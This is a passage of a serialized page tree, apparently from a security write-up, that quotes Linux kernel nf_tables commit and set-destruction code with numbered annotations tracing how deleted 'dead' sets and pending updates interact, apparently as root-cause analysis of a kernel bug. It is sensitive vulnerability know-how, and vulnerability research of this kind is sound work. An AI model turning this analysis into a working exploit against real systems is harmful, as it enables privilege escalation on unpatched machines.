break;\n  case NFT_MSG_NEWSETELEM: // [3]\n[...]\n   if (te->set->ops->commit &&\n       list_empty(&te->set->pending_update)) {\n    list_add_tail(&te->set->pending_update,\n           &set_update_list);\n   }\n[...]\n }\n\n nft_set_commit_update(&set_update_list);\n[...]\n nf_tables_commit_release(net);\n\n return 0;\n}\n",[65488],{"type":25,"tag":264,"props":65489,"children":65490},{"__ignoreMap":7},[65491,65553,65560,65567,65575,65588,65623,65657,65699,65721,65733,65746,65753,65801,65842,65882,65895,65902,65909,65916,65923,65948,65955,65968,65975,65991],{"type":25,"tag":271,"props":65492,"children":65493},{"class":13593,"line":13594},[65494,65498,65502,65507,65511,65515,65519,65523,65527,65531,65535,65540,65544,65549],{"type":25,"tag":271,"props":65495,"children":65496},{"style":14289},[65497],{"type":30,"value":64160},{"type":25,"tag":271,"props":65499,"children":65500},{"style":14289},[65501],{"type":30,"value":64289},{"type":25,"tag":271,"props":65503,"children":65504},{"style":13620},[65505],{"type":30,"value":65506}," nf_tables_commit",{"type":25,"tag":271,"props":65508,"children":65509},{"style":13625},[65510],{"type":30,"value":394},{"type":25,"tag":271,"props":65512,"children":65513},{"style":14289},[65514],{"type":30,"value":22524},{"type":25,"tag":271,"props":65516,"children":65517},{"style":13625},[65518],{"type":30,"value":65118},{"type":25,"tag":271,"props":65520,"children":65521},{"style":13603},[65522],{"type":30,"value":17702},{"type":25,"tag":271,"props":65524,"children":65525},{"style":13598},[65526],{"type":30,"value":65127},{"type":25,"tag":271,"props":65528,"children":65529},{"style":13625},[65530],{"type":30,"value":44},{"type":25,"tag":271,"props":65532,"children":65533},{"style":14289},[65534],{"type":30,"value":22524},{"type":25,"tag":271,"props":65536,"children":65537},{"style":13625},[65538],{"type":30,"value":65539}," sk_buff ",{"type":25,"tag":271,"props":65541,"children":65542},{"style":13603},[65543],{"type":30,"value":17702},{"type":25,"tag":271,"props":65545,"children":65546},{"style":13598},[65547],{"type":30,"value":65548},"skb",{"type":25,"tag":271,"props":65550,"children":65551},{"style":13625},[65552],{"type":30,"value":16299},{"type":25,"tag":271,"props":65554,"children":65555},{"class":13593,"line":11641},[65556],{"type":25,"tag":271,"props":65557,"children":65558},{"style":13625},[65559],{"type":30,"value":24005},{"type":25,"tag":271,"props":65561,"children":65562},{"class":13593,"line":14354},[65563],{"type":25,"tag":271,"props":65564,"children":65565},{"style":13625},[65566],{"type":30,"value":23442},{"type":25,"tag":271,"props":65568,"children":65569},{"class":13593,"line":14391},[65570],{"type":25,"tag":271,"props":65571,"children":65572},{"style":13625},[65573],{"type":30,"value":65574},"  case NFT_MSG_DELSET:\n",{"type":25,"tag":271,"props":65576,"children":65577},{"class":13593,"line":14400},[65578,65583],{"type":25,"tag":271,"props":65579,"children":65580},{"style":13625},[65581],{"type":30,"value":65582},"  case NFT_MSG_DESTROYSET:",{"type":25,"tag":271,"props":65584,"children":65585},{"style":14385},[65586],{"type":30,"value":65587}," // [1]\n",{"type":25,"tag":271,"props":65589,"children":65590},{"class":13593,"line":16406},[65591,65596,65601,65606,65610,65614,65618],{"type":25,"tag":271,"props":65592,"children":65593},{"style":13620},[65594],{"type":30,"value":65595},"   nft_trans_set",{"type":25,"tag":271,"props":65597,"children":65598},{"style":13625},[65599],{"type":30,"value":65600},"(trans)->",{"type":25,"tag":271,"props":65602,"children":65603},{"style":13598},[65604],{"type":30,"value":65605},"dead",{"type":25,"tag":271,"props":65607,"children":65608},{"style":13603},[65609],{"type":30,"value":16155},{"type":25,"tag":271,"props":65611,"children":65612},{"style":16187},[65613],{"type":30,"value":17654},{"type":25,"tag":271,"props":65615,"children":65616},{"style":13625},[65617],{"type":30,"value":62190},{"type":25,"tag":271,"props":65619,"children":65620},{"style":14385},[65621],{"type":30,"value":65622}," // [2]\n",{"type":25,"tag":271,"props":65624,"children":65625},{"class":13593,"line":16434},[65626,65631,65635,65639,65644,65648,65653],{"type":25,"tag":271,"props":65627,"children":65628},{"style":13620},[65629],{"type":30,"value":65630},"   list_del_rcu",{"type":25,"tag":271,"props":65632,"children":65633},{"style":13625},[65634],{"type":30,"value":394},{"type":25,"tag":271,"props":65636,"children":65637},{"style":13603},[65638],{"type":30,"value":13632},{"type":25,"tag":271,"props":65640,"children":65641},{"style":13620},[65642],{"type":30,"value":65643},"nft_trans_set",{"type":25,"tag":271,"props":65645,"children":65646},{"style":13625},[65647],{"type":30,"value":65600},{"type":25,"tag":271,"props":65649,"children":65650},{"style":13598},[65651],{"type":30,"value":65652},"list",{"type":25,"tag":271,"props":65654,"children":65655},{"style":13625},[65656],{"type":30,"value":13665},{"type":25,"tag":271,"props":65658,"children":65659},{"class":13593,"line":16447},[65660,65665,65669,65673,65678,65682,65686,65690,65694],{"type":25,"tag":271,"props":65661,"children":65662},{"style":13620},[65663],{"type":30,"value":65664},"   nf_tables_set_notify",{"type":25,"tag":271,"props":65666,"children":65667},{"style":13625},[65668],{"type":30,"value":394},{"type":25,"tag":271,"props":65670,"children":65671},{"style":13603},[65672],{"type":30,"value":13632},{"type":25,"tag":271,"props":65674,"children":65675},{"style":13598},[65676],{"type":30,"value":65677},"trans",{"type":25,"tag":271,"props":65679,"children":65680},{"style":13625},[65681],{"type":30,"value":14411},{"type":25,"tag":271,"props":65683,"children":65684},{"style":13598},[65685],{"type":30,"value":33401},{"type":25,"tag":271,"props":65687,"children":65688},{"style":13625},[65689],{"type":30,"value":44},{"type":25,"tag":271,"props":65691,"children":65692},{"style":13620},[65693],{"type":30,"value":65643},{"type":25,"tag":271,"props":65695,"children":65696},{"style":13625},[65697],{"type":30,"value":65698},"(trans),\n",{"type":25,"tag":271,"props":65700,"children":65701},{"class":13593,"line":16465},[65702,65707,65711,65716],{"type":25,"tag":271,"props":65703,"children":65704},{"style":13598},[65705],{"type":30,"value":65706},"          trans",{"type":25,"tag":271,"props":65708,"children":65709},{"style":13625},[65710],{"type":30,"value":14411},{"type":25,"tag":271,"props":65712,"children":65713},{"style":13598},[65714],{"type":30,"value":65715},"msg_type",{"type":25,"tag":271,"props":65717,"children":65718},{"style":13625},[65719],{"type":30,"value":65720},", GFP_KERNEL);\n",{"type":25,"tag":271,"props":65722,"children":65723},{"class":13593,"line":16486},[65724,65729],{"type":25,"tag":271,"props":65725,"children":65726},{"style":16171},[65727],{"type":30,"value":65728},"   break",{"type":25,"tag":271,"props":65730,"children":65731},{"style":13625},[65732],{"type":30,"value":16165},{"type":25,"tag":271,"props":65734,"children":65735},{"class":13593,"line":16495},[65736,65741],{"type":25,"tag":271,"props":65737,"children":65738},{"style":13625},[65739],{"type":30,"value":65740},"  case NFT_MSG_NEWSETELEM:",{"type":25,"tag":271,"props":65742,"children":65743},{"style":14385},[65744],{"type":30,"value":65745}," // [3]\n",{"type":25,"tag":271,"props":65747,"children":65748},{"class":13593,"line":16744},[65749],{"type":25,"tag":271,"props":65750,"children":65751},{"style":13625},[65752],{"type":30,"value":23442},{"type":25,"tag":271,"props":65754,"children":65755},{"class":13593,"line":16761},[65756,65761,65765,65770,65774,65778,65782,65787,65791,65796],{"type":25,"tag":271,"props":65757,"children":65758},{"style":16171},[65759],{"type":30,"value":65760},"   if",{"type":25,"tag":271,"props":65762,"children":65763},{"style":13625},[65764],{"type":30,"value":16213},{"type":25,"tag":271,"props":65766,"children":65767},{"style":13598},[65768],{"type":30,"value":65769},"te",{"type":25,"tag":271,"props":65771,"children":65772},{"style":13625},[65773],{"type":30,"value":14411},{"type":25,"tag":271,"props":65775,"children":65776},{"style":13598},[65777],{"type":30,"value":64135},{"type":25,"tag":271,"props":65779,"children":65780},{"style":13625},[65781],{"type":30,"value":14411},{"type":25,"tag":271,"props":65783,"children":65784},{"style":13598},[65785],{"type":30,"value":65786},"ops",{"type":25,"tag":271,"props":65788,"children":65789},{"style":13625},[65790],{"type":30,"value":14411},{"type":25,"tag":271,"props":65792,"children":65793},{"style":13598},[65794],{"type":30,"value":65795},"commit",{"type":25,"tag":271,"props":65797,"children":65798},{"style":13603},[65799],{"type":30,"value":65800}," &&\n",{"type":25,"tag":271,"props":65802,"children":65803},{"class":13593,"line":16778},[65804,65809,65813,65817,65821,65825,65829,65833,65838],{"type":25,"tag":271,"props":65805,"children":65806},{"style":13620},[65807],{"type":30,"value":65808},"       list_empty",{"type":25,"tag":271,"props":65810,"children":65811},{"style":13625},[65812],{"type":30,"value":394},{"type":25,"tag":271,"props":65814,"children":65815},{"style":13603},[65816],{"type":30,"value":13632},{"type":25,"tag":271,"props":65818,"children":65819},{"style":13598},[65820],{"type":30,"value":65769},{"type":25,"tag":271,"props":65822,"children":65823},{"style":13625},[65824],{"type":30,"value":14411},{"type":25,"tag":271,"props":65826,"children":65827},{"style":13598},[65828],{"type":30,"value":64135},{"type":25,"tag":271,"props":65830,"children":65831},{"style":13625},[65832],{"type":30,"value":14411},{"type":25,"tag":271,"props":65834,"children":65835},{"style":13598},[65836],{"type":30,"value":65837},"pending_update",{"type":25,"tag":271,"props":65839,"children":65840},{"style":13625},[65841],{"type":30,"value":48305},{"type":25,"tag":271,"props":65843,"children":65844},{"class":13593,"line":16791},[65845,65850,65854,65858,65862,65866,65870,65874,65878],{"type":25,"tag":271,"props":65846,"children":65847},{"style":13620},[65848],{"type":30,"value":65849},"    list_add_tail",{"type":25,"tag":271,"props":65851,"children":65852},{"style":13625},[65853],{"type":30,"value":394},{"type":25,"tag":271,"props":65855,"children":65856},{"style":13603},[65857],{"type":30,"value":13632},{"type":25,"tag":271,"props":65859,"children":65860},{"style":13598},[65861],{"type":30,"value":65769},{"type":25,"tag":271,"props":65863,"children":65864},{"style":13625},[65865],{"type":30,"value":14411},{"type":25,"tag":271,"props":65867,"children":65868},{"style":13598},[65869],{"type":30,"value":64135},{"type":25,"tag":271,"props":65871,"children":65872},{"style":13625},[65873],{"type":30,"value":14411},{"type":25,"tag":271,"props":65875,"children":65876},{"style":13598},[65877],{"type":30,"value":65837},{"type":25,"tag":271,"props":65879,"children":65880},{"style":13625},[65881],{"type":30,"value":14351},{"type":25,"tag":271,"props":65883,"children":65884},{"class":13593,"line":16800},[65885,65890],{"type":25,"tag":271,"props":65886,"children":65887},{"style":13603},[65888],{"type":30,"value":65889},"           &",{"type":25,"tag":271,"props":65891,"children":65892},{"style":13625},[65893],{"type":30,"value":65894},"set_update_list);\n",{"type":25,"tag":271,"props":65896,"children":65897},{"class":13593,"line":16823},[65898],{"type":25,"tag":271,"props":65899,"children":65900},{"style":13625},[65901],{"type":30,"value":47859},{"type":25,"tag":271,"props":65903,"children":65904},{"class":13593,"line":16832},[65905],{"type":25,"tag":271,"props":65906,"children":65907},{"style":13625},[65908],{"type":30,"value":23442},{"type":25,"tag":271,"props":65910,"children":65911},{"class":13593,"line":16841},[65912],{"type":25,"tag":271,"props":65913,"children":65914},{"style":13625},[65915],{"type":30,"value":22719},{"type":25,"tag":271,"props":65917,"children":65918},{"class":13593,"line":16907},[65919],{"type":25,"tag":271,"props":65920,"children":65921},{"emptyLinePlaceholder":18},[65922],{"type":30,"value":16829},{"type":25,"tag":271,"props":65924,"children":65925},{"class":13593,"line":16915},[65926,65931,65935,65939,65944],{"type":25,"tag":271,"props":65927,"children":65928},{"style":13620},[65929],{"type":30,"value":65930}," nft_set_commit_update",{"type":25,"tag":271,"props":65932,"children":65933},{"style":13625},[65934],{"type":30,"value":394},{"type":25,"tag":271,"props":65936,"children":65937},{"style":13603},[65938],{"type":30,"value":13632},{"type":25,"tag":271,"props":65940,"children":65941},{"style":13598},[65942],{"type":30,"value":65943},"set_update_list",{"type":25,"tag":271,"props":65945,"children":65946},{"style":13625},[65947],{"type":30,"value":13665},{"type":25,"tag":271,"props":65949,"children":65950},{"class":13593,"line":16945},[65951],{"type":25,"tag":271,"props":65952,"children":65953},{"style":13625},[65954],{"type":30,"value":23442},{"type":25,"tag":271,"props":65956,"children":65957},{"class":13593,"line":16953},[65958,65963],{"type":25,"tag":271,"props":65959,"children":65960},{"style":13620},[65961],{"type":30,"value":65962}," nf_tables_commit_release",{"type":25,"tag":271,"props":65964,"children":65965},{"style":13625},[65966],{"type":30,"value":65967},"(net);\n",{"type":25,"tag":271,"props":65969,"children":65970},{"class":13593,"line":16984},[65971],{"type":25,"tag":271,"props":65972,"children":65973},{"emptyLinePlaceholder":18},[65974],{"type":30,"value":16829},{"type":25,"tag":271,"props":65976,"children":65977},{"class":13593,"line":16992},[65978,65983,65987],{"type":25,"tag":271,"props":65979,"children":65980},{"style":16171},[65981],{"type":30,"value":65982}," return",{"type":25,"tag":271,"props":65984,"children":65985},{"style":16187},[65986],{"type":30,"value":16190},{"type":25,"tag":271,"props":65988,"children":65989},{"style":13625},[65990],{"type":30,"value":16165},{"type":25,"tag":271,"props":65992,"children":65993},{"class":13593,"line":17052},[65994],{"type":25,"tag":271,"props":65995,"children":65996},{"style":13625},[65997],{"type":30,"value":17058},{"type":25,"tag":26,"props":65999,"children":66000},{},[66001,66002,66008,66010,66015],{"type":30,"value":10272},{"type":25,"tag":264,"props":66003,"children":66005},{"className":66004},[],[66006],{"type":30,"value":66007},"nft_set_commit_update()",{"type":30,"value":66009}," function in the code above will call the ",{"type":25,"tag":264,"props":66011,"children":66013},{"className":66012},[],[66014],{"type":30,"value":65461},{"type":30,"value":66016}," method for any objects that were marked as pending an update.",{"type":25,"tag":7764,"props":66018,"children":66020},{"className":29637,"code":66019,"language":13243,"meta":7,"style":7},"static void nft_set_commit_update(struct list_head *set_update_list)\n{\n struct nft_set *set, *next;\n\n list_for_each_entry_safe(set, next, set_update_list, pending_update) {\n  list_del_init(&set->pending_update);\n\n  if (!set->ops->commit || set->dead) // [4]\n   continue;\n\n  set->ops->commit(set); // [5]\n }\n}\n",[66021],{"type":25,"tag":264,"props":66022,"children":66023},{"__ignoreMap":7},[66024,66064,66071,66100,66107,66120,66152,66159,66220,66231,66238,66272,66279],{"type":25,"tag":271,"props":66025,"children":66026},{"class":13593,"line":13594},[66027,66031,66035,66039,66043,66047,66052,66056,66060],{"type":25,"tag":271,"props":66028,"children":66029},{"style":14289},[66030],{"type":30,"value":64160},{"type":25,"tag":271,"props":66032,"children":66033},{"style":14289},[66034],{"type":30,"value":64165},{"type":25,"tag":271,"props":66036,"children":66037},{"style":13620},[66038],{"type":30,"value":65930},{"type":25,"tag":271,"props":66040,"children":66041},{"style":13625},[66042],{"type":30,"value":394},{"type":25,"tag":271,"props":66044,"children":66045},{"style":14289},[66046],{"type":30,"value":22524},{"type":25,"tag":271,"props":66048,"children":66049},{"style":13625},[66050],{"type":30,"value":66051}," list_head ",{"type":25,"tag":271,"props":66053,"children":66054},{"style":13603},[66055],{"type":30,"value":17702},{"type":25,"tag":271,"props":66057,"children":66058},{"style":13598},[66059],{"type":30,"value":65943},{"type":25,"tag":271,"props":66061,"children":66062},{"style":13625},[66063],{"type":30,"value":16299},{"type":25,"tag":271,"props":66065,"children":66066},{"class":13593,"line":11641},[66067],{"type":25,"tag":271,"props":66068,"children":66069},{"style":13625},[66070],{"type":30,"value":24005},{"type":25,"tag":271,"props":66072,"children":66073},{"class":13593,"line":14354},[66074,66078,66082,66086,66091,66095],{"type":25,"tag":271,"props":66075,"children":66076},{"style":14289},[66077],{"type":30,"value":34271},{"type":25,"tag":271,"props":66079,"children":66080},{"style":13625},[66081],{"type":30,"value":64215},{"type":25,"tag":271,"props":66083,"children":66084},{"style":13603},[66085],{"type":30,"value":17702},{"type":25,"tag":271,"props":66087,"children":66088},{"style":13625},[66089],{"type":30,"value":66090},"set, ",{"type":25,"tag":271,"props":66092,"children":66093},{"style":13603},[66094],{"type":30,"value":17702},{"type":25,"tag":271,"props":66096,"children":66097},{"style":13625},[66098],{"type":30,"value":66099},"next;\n",{"type":25,"tag":271,"props":66101,"children":66102},{"class":13593,"line":14391},[66103],{"type":25,"tag":271,"props":66104,"children":66105},{"emptyLinePlaceholder":18},[66106],{"type":30,"value":16829},{"type":25,"tag":271,"props":66108,"children":66109},{"class":13593,"line":14400},[66110,66115],{"type":25,"tag":271,"props":66111,"children":66112},{"style":13620},[66113],{"type":30,"value":66114}," list_for_each_entry_safe",{"type":25,"tag":271,"props":66116,"children":66117},{"style":13625},[66118],{"type":30,"value":66119},"(set, next, set_update_list, pending_update) {\n",{"type":25,"tag":271,"props":66121,"children":66122},{"class":13593,"line":16406},[66123,66128,66132,66136,66140,66144,66148],{"type":25,"tag":271,"props":66124,"children":66125},{"style":13620},[66126],{"type":30,"value":66127},"  list_del_init",{"type":25,"tag":271,"props":66129,"children":66130},{"style":13625},[66131],{"type":30,"value":394},{"type":25,"tag":271,"props":66133,"children":66134},{"style":13603},[66135],{"type":30,"value":13632},{"type":25,"tag":271,"props":66137,"children":66138},{"style":13598},[66139],{"type":30,"value":64135},{"type":25,"tag":271,"props":66141,"children":66142},{"style":13625},[66143],{"type":30,"value":14411},{"type":25,"tag":271,"props":66145,"children":66146},{"style":13598},[66147],{"type":30,"value":65837},{"type":25,"tag":271,"props":66149,"children":66150},{"style":13625},[66151],{"type":30,"value":13665},{"type":25,"tag":271,"props":66153,"children":66154},{"class":13593,"line":16434},[66155],{"type":25,"tag":271,"props":66156,"children":66157},{"emptyLinePlaceholder":18},[66158],{"type":30,"value":16829},{"type":25,"tag":271,"props":66160,"children":66161},{"class":13593,"line":16447},[66162,66166,66170,66174,66178,66182,66186,66190,66194,66198,66203,66207,66211,66215],{"type":25,"tag":271,"props":66163,"children":66164},{"style":16171},[66165],{"type":30,"value":44506},{"type":25,"tag":271,"props":66167,"children":66168},{"style":13625},[66169],{"type":30,"value":16213},{"type":25,"tag":271,"props":66171,"children":66172},{"style":13603},[66173],{"type":30,"value":33742},{"type":25,"tag":271,"props":66175,"children":66176},{"style":13598},[66177],{"type":30,"value":64135},{"type":25,"tag":271,"props":66179,"children":66180},{"style":13625},[66181],{"type":30,"value":14411},{"type":25,"tag":271,"props":66183,"children":66184},{"style":13598},[66185],{"type":30,"value":65786},{"type":25,"tag":271,"props":66187,"children":66188},{"style":13625},[66189],{"type":30,"value":14411},{"type":25,"tag":271,"props":66191,"children":66192},{"style":13598},[66193],{"type":30,"value":65795},{"type":25,"tag":271,"props":66195,"children":66196},{"style":13603},[66197],{"type":30,"value":36807},{"type":25,"tag":271,"props":66199,"children":66200},{"style":13598},[66201],{"type":30,"value":66202}," set",{"type":25,"tag":271,"props":66204,"children":66205},{"style":13625},[66206],{"type":30,"value":14411},{"type":25,"tag":271,"props":66208,"children":66209},{"style":13598},[66210],{"type":30,"value":65605},{"type":25,"tag":271,"props":66212,"children":66213},{"style":13625},[66214],{"type":30,"value":440},{"type":25,"tag":271,"props":66216,"children":66217},{"style":14385},[66218],{"type":30,"value":66219}," // [4]\n",{"type":25,"tag":271,"props":66221,"children":66222},{"class":13593,"line":16465},[66223,66227],{"type":25,"tag":271,"props":66224,"children":66225},{"style":16171},[66226],{"type":30,"value":64607},{"type":25,"tag":271,"props":66228,"children":66229},{"style":13625},[66230],{"type":30,"value":16165},{"type":25,"tag":271,"props":66232,"children":66233},{"class":13593,"line":16486},[66234],{"type":25,"tag":271,"props":66235,"children":66236},{"emptyLinePlaceholder":18},[66237],{"type":30,"value":16829},{"type":25,"tag":271,"props":66239,"children":66240},{"class":13593,"line":16495},[66241,66246,66250,66254,66258,66262,66267],{"type":25,"tag":271,"props":66242,"children":66243},{"style":13598},[66244],{"type":30,"value":66245},"  set",{"type":25,"tag":271,"props":66247,"children":66248},{"style":13625},[66249],{"type":30,"value":14411},{"type":25,"tag":271,"props":66251,"children":66252},{"style":13598},[66253],{"type":30,"value":65786},{"type":25,"tag":271,"props":66255,"children":66256},{"style":13625},[66257],{"type":30,"value":14411},{"type":25,"tag":271,"props":66259,"children":66260},{"style":13620},[66261],{"type":30,"value":65795},{"type":25,"tag":271,"props":66263,"children":66264},{"style":13625},[66265],{"type":30,"value":66266},"(set);",{"type":25,"tag":271,"props":66268,"children":66269},{"style":14385},[66270],{"type":30,"value":66271}," // [5]\n",{"type":25,"tag":271,"props":66273,"children":66274},{"class":13593,"line":16744},[66275],{"type":25,"tag":271,"props":66276,"children":66277},{"style":13625},[66278],{"type":30,"value":22719},{"type":25,"tag":271,"props":66280,"children":66281},{"class":13593,"line":16761},[66282],{"type":25,"tag":271,"props":66283,"children":66284},{"style":13625},[66285],{"type":30,"value":17058},{"type":25,"tag":26,"props":66287,"children":66288},{},[66289,66291,66297,66299,66304,66305,66310],{"type":30,"value":66290},"Later on, the ",{"type":25,"tag":264,"props":66292,"children":66294},{"className":66293},[],[66295],{"type":30,"value":66296},"nf_tables_commit_release()",{"type":30,"value":66298}," function is called to free any objects that were marked for release, and eventually calls the ",{"type":25,"tag":264,"props":66300,"children":66302},{"className":66301},[],[66303],{"type":30,"value":64135},{"type":30,"value":65455},{"type":25,"tag":264,"props":66306,"children":66308},{"className":66307},[],[66309],{"type":30,"value":65469},{"type":30,"value":66311}," method.",{"type":25,"tag":7764,"props":66313,"children":66315},{"className":29637,"code":66314,"language":13243,"meta":7,"style":7},"static void nf_tables_commit_release(struct net *net)\n{\n[...]\n schedule_work(&trans_destroy_work);\n[...]\n}\n[...]\nstatic void nf_tables_trans_destroy_work(struct work_struct *w)\n{\n[...]\n list_for_each_entry_safe(trans, next, &head, list) {\n  nft_trans_list_del(trans);\n  nft_commit_release(trans);\n }\n}\n[...]\nstatic void nft_commit_release(struct nft_trans *trans)\n{\n switch (trans->msg_type) {\n[...]\n case NFT_MSG_DELSET:\n case NFT_MSG_DESTROYSET:\n  nft_set_destroy(&trans->ctx, nft_trans_set(trans));\n[...]\n}\n[...]\nstatic void nft_set_destroy(const struct nft_ctx *ctx, struct nft_set *set)\n{\n[...]\n set->ops->destroy(ctx, set);\n[...]\n}\n",[66316],{"type":25,"tag":264,"props":66317,"children":66318},{"__ignoreMap":7},[66319,66358,66365,66372,66393,66400,66407,66414,66455,66462,66469,66490,66503,66515,66522,66529,66536,66577,66584,66612,66619,66632,66644,66685,66692,66699,66706,66764,66771,66778,66807,66814],{"type":25,"tag":271,"props":66320,"children":66321},{"class":13593,"line":13594},[66322,66326,66330,66334,66338,66342,66346,66350,66354],{"type":25,"tag":271,"props":66323,"children":66324},{"style":14289},[66325],{"type":30,"value":64160},{"type":25,"tag":271,"props":66327,"children":66328},{"style":14289},[66329],{"type":30,"value":64165},{"type":25,"tag":271,"props":66331,"children":66332},{"style":13620},[66333],{"type":30,"value":65962},{"type":25,"tag":271,"props":66335,"children":66336},{"style":13625},[66337],{"type":30,"value":394},{"type":25,"tag":271,"props":66339,"children":66340},{"style":14289},[66341],{"type":30,"value":22524},{"type":25,"tag":271,"props":66343,"children":66344},{"style":13625},[66345],{"type":30,"value":65118},{"type":25,"tag":271,"props":66347,"children":66348},{"style":13603},[66349],{"type":30,"value":17702},{"type":25,"tag":271,"props":66351,"children":66352},{"style":13598},[66353],{"type":30,"value":65127},{"type":25,"tag":271,"props":66355,"children":66356},{"style":13625},[66357],{"type":30,"value":16299},{"type":25,"tag":271,"props":66359,"children":66360},{"class":13593,"line":11641},[66361],{"type":25,"tag":271,"props":66362,"children":66363},{"style":13625},[66364],{"type":30,"value":24005},{"type":25,"tag":271,"props":66366,"children":66367},{"class":13593,"line":14354},[66368],{"type":25,"tag":271,"props":66369,"children":66370},{"style":13625},[66371],{"type":30,"value":23442},{"type":25,"tag":271,"props":66373,"children":66374},{"class":13593,"line":14391},[66375,66380,66384,66388],{"type":25,"tag":271,"props":66376,"children":66377},{"style":13620},[66378],{"type":30,"value":66379}," schedule_work",{"type":25,"tag":271,"props":66381,"children":66382},{"style":13625},[66383],{"type":30,"value":394},{"type":25,"tag":271,"props":66385,"children":66386},{"style":13603},[66387],{"type":30,"value":13632},{"type":25,"tag":271,"props":66389,"children":66390},{"style":13625},[66391],{"type":30,"value":66392},"trans_destroy_work);\n",{"type":25,"tag":271,"props":66394,"children":66395},{"class":13593,"line":14400},[66396],{"type":25,"tag":271,"props":66397,"children":66398},{"style":13625},[66399],{"type":30,"value":23442},{"type":25,"tag":271,"props":66401,"children":66402},{"class":13593,"line":16406},[66403],{"type":25,"tag":271,"props":66404,"children":66405},{"style":13625},[66406],{"type":30,"value":17058},{"type":25,"tag":271,"props":66408,"children":66409},{"class":13593,"line":16434},[66410],{"type":25,"tag":271,"props":66411,"children":66412},{"style":13625},[66413],{"type":30,"value":23442},{"type":25,"tag":271,"props":66415,"children":66416},{"class":13593,"line":16447},[66417,66421,66425,66430,66434,66438,66443,66447,66451],{"type":25,"tag":271,"props":66418,"children":66419},{"style":14289},[66420],{"type":30,"value":64160},{"type":25,"tag":271,"props":66422,"children":66423},{"style":14289},[66424],{"type":30,"value":64165},{"type":25,"tag":271,"props":66426,"children":66427},{"style":13620},[66428],{"type":30,"value":66429}," nf_tables_trans_destroy_work",{"type":25,"tag":271,"props":66431,"children":66432},{"style":13625},[66433],{"type":30,"value":394},{"type":25,"tag":271,"props":66435,"children":66436},{"style":14289},[66437],{"type":30,"value":22524},{"type":25,"tag":271,"props":66439,"children":66440},{"style":13625},[66441],{"type":30,"value":66442}," work_struct ",{"type":25,"tag":271,"props":66444,"children":66445},{"style":13603},[66446],{"type":30,"value":17702},{"type":25,"tag":271,"props":66448,"children":66449},{"style":13598},[66450],{"type":30,"value":11188},{"type":25,"tag":271,"props":66452,"children":66453},{"style":13625},[66454],{"type":30,"value":16299},{"type":25,"tag":271,"props":66456,"children":66457},{"class":13593,"line":16465},[66458],{"type":25,"tag":271,"props":66459,"children":66460},{"style":13625},[66461],{"type":30,"value":24005},{"type":25,"tag":271,"props":66463,"children":66464},{"class":13593,"line":16486},[66465],{"type":25,"tag":271,"props":66466,"children":66467},{"style":13625},[66468],{"type":30,"value":23442},{"type":25,"tag":271,"props":66470,"children":66471},{"class":13593,"line":16495},[66472,66476,66481,66485],{"type":25,"tag":271,"props":66473,"children":66474},{"style":13620},[66475],{"type":30,"value":66114},{"type":25,"tag":271,"props":66477,"children":66478},{"style":13625},[66479],{"type":30,"value":66480},"(trans, next, ",{"type":25,"tag":271,"props":66482,"children":66483},{"style":13603},[66484],{"type":30,"value":13632},{"type":25,"tag":271,"props":66486,"children":66487},{"style":13625},[66488],{"type":30,"value":66489},"head, list) {\n",{"type":25,"tag":271,"props":66491,"children":66492},{"class":13593,"line":16744},[66493,66498],{"type":25,"tag":271,"props":66494,"children":66495},{"style":13620},[66496],{"type":30,"value":66497},"  nft_trans_list_del",{"type":25,"tag":271,"props":66499,"children":66500},{"style":13625},[66501],{"type":30,"value":66502},"(trans);\n",{"type":25,"tag":271,"props":66504,"children":66505},{"class":13593,"line":16761},[66506,66511],{"type":25,"tag":271,"props":66507,"children":66508},{"style":13620},[66509],{"type":30,"value":66510},"  nft_commit_release",{"type":25,"tag":271,"props":66512,"children":66513},{"style":13625},[66514],{"type":30,"value":66502},{"type":25,"tag":271,"props":66516,"children":66517},{"class":13593,"line":16778},[66518],{"type":25,"tag":271,"props":66519,"children":66520},{"style":13625},[66521],{"type":30,"value":22719},{"type":25,"tag":271,"props":66523,"children":66524},{"class":13593,"line":16791},[66525],{"type":25,"tag":271,"props":66526,"children":66527},{"style":13625},[66528],{"type":30,"value":17058},{"type":25,"tag":271,"props":66530,"children":66531},{"class":13593,"line":16800},[66532],{"type":25,"tag":271,"props":66533,"children":66534},{"style":13625},[66535],{"type":30,"value":23442},{"type":25,"tag":271,"props":66537,"children":66538},{"class":13593,"line":16823},[66539,66543,66547,66552,66556,66560,66565,66569,66573],{"type":25,"tag":271,"props":66540,"children":66541},{"style":14289},[66542],{"type":30,"value":64160},{"type":25,"tag":271,"props":66544,"children":66545},{"style":14289},[66546],{"type":30,"value":64165},{"type":25,"tag":271,"props":66548,"children":66549},{"style":13620},[66550],{"type":30,"value":66551}," nft_commit_release",{"type":25,"tag":271,"props":66553,"children":66554},{"style":13625},[66555],{"type":30,"value":394},{"type":25,"tag":271,"props":66557,"children":66558},{"style":14289},[66559],{"type":30,"value":22524},{"type":25,"tag":271,"props":66561,"children":66562},{"style":13625},[66563],{"type":30,"value":66564}," nft_trans ",{"type":25,"tag":271,"props":66566,"children":66567},{"style":13603},[66568],{"type":30,"value":17702},{"type":25,"tag":271,"props":66570,"children":66571},{"style":13598},[66572],{"type":30,"value":65677},{"type":25,"tag":271,"props":66574,"children":66575},{"style":13625},[66576],{"type":30,"value":16299},{"type":25,"tag":271,"props":66578,"children":66579},{"class":13593,"line":16832},[66580],{"type":25,"tag":271,"props":66581,"children":66582},{"style":13625},[66583],{"type":30,"value":24005},{"type":25,"tag":271,"props":66585,"children":66586},{"class":13593,"line":16841},[66587,66592,66596,66600,66604,66608],{"type":25,"tag":271,"props":66588,"children":66589},{"style":16171},[66590],{"type":30,"value":66591}," switch",{"type":25,"tag":271,"props":66593,"children":66594},{"style":13625},[66595],{"type":30,"value":16213},{"type":25,"tag":271,"props":66597,"children":66598},{"style":13598},[66599],{"type":30,"value":65677},{"type":25,"tag":271,"props":66601,"children":66602},{"style":13625},[66603],{"type":30,"value":14411},{"type":25,"tag":271,"props":66605,"children":66606},{"style":13598},[66607],{"type":30,"value":65715},{"type":25,"tag":271,"props":66609,"children":66610},{"style":13625},[66611],{"type":30,"value":27925},{"type":25,"tag":271,"props":66613,"children":66614},{"class":13593,"line":16907},[66615],{"type":25,"tag":271,"props":66616,"children":66617},{"style":13625},[66618],{"type":30,"value":23442},{"type":25,"tag":271,"props":66620,"children":66621},{"class":13593,"line":16915},[66622,66627],{"type":25,"tag":271,"props":66623,"children":66624},{"style":16171},[66625],{"type":30,"value":66626}," case",{"type":25,"tag":271,"props":66628,"children":66629},{"style":13625},[66630],{"type":30,"value":66631}," 